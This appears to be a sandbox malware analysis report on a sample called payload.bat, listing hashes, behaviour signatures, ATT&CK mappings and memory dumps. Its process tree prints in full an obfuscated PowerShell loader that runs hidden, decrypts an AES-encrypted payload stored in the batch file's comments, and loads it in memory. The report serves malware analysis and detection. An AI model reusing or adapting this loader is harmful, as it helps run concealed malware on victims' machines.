a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
31-01-2023 17:20

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General

Target

payload.bat
Size

48KB
MD5

83875df1ddf8a47531e763f5bc140691
SHA1

8d1bc0c5bceedd229b8faaf6542779726188b145
SHA256

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34
SHA512

e19c020f4fe1922a4adef3dd50851514a99852b7eefa9b74e6e954f941349a60589e171a618423d0029e8d3e8568536026a1012586a74daa4d19a1ebabb701a7
SSDEEP

768:xZZOUUP++sgCpDgSE2WPENq+qrD/PESqitk3Spn1eqy1nUNamt:m+qCNgNgqdj1qitvl

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

payload.bat.exe

pid	Process
992	payload.bat.exe

Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid	Process
2028	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

payload.bat.exe

pid	Process
992	payload.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

payload.bat.exe

description	pid	Process
Token: SeDebugPrivilege	992	payload.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 2028 wrote to memory of 992	2028	cmd.exe	29
PID 2028 wrote to memory of 992	2028	cmd.exe	29
PID 2028 wrote to memory of 992	2028	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\payload.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Users\Admin\AppData\Local\Temp\payload.bat.exe
  "payload.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $yruxp = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\payload.bat').Split([Environment]::NewLine);foreach ($AoHcJ in $yruxp) { if ($AoHcJ.StartsWith(':: ')) { $jSeTT = $AoHcJ.Substring(3); break; }; };$iPrdF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jSeTT);$pstaK = New-Object System.Security.Cryptography.AesManaged;$pstaK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pstaK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pstaK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oK9Sb6xmpGv+i/gAJDgfaubHDtLnuOUbT8h3z0NIMvs=');$pstaK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CUeA3Qkm0ivKUIPg7zp+ug==');$FYwLw = $pstaK.CreateDecryptor();$iPrdF = $FYwLw.TransformFinalBlock($iPrdF, 0, $iPrdF.Length);$FYwLw.Dispose();$pstaK.Dispose();$XhabZ = New-Object System.IO.MemoryStream(, $iPrdF);$lkvIz = New-Object System.IO.MemoryStream;$oenGH = New-Object System.IO.Compression.GZipStream($XhabZ, [IO.Compression.CompressionMode]::Decompress);$oenGH.CopyTo($lkvIz);$oenGH.Dispose();$XhabZ.Dispose();$lkvIz.Dispose();$iPrdF = $lkvIz.ToArray();$QQBse = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iPrdF);$qnZNg = $QQBse.EntryPoint;$qnZNg.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\payload.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\payload.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/992-55-0x0000000000000000-mapping.dmp

Download
memory/992-57-0x000007FEFC421000-0x000007FEFC423000-memory.dmp

Filesize
8KB

Download
memory/992-58-0x000007FEF40C0000-0x000007FEF4AE3000-memory.dmp

Filesize
10.1MB

Download
memory/992-60-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/992-59-0x000007FEF3560000-0x000007FEF40BD000-memory.dmp

Filesize
11.4MB

Download
memory/992-61-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/992-62-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download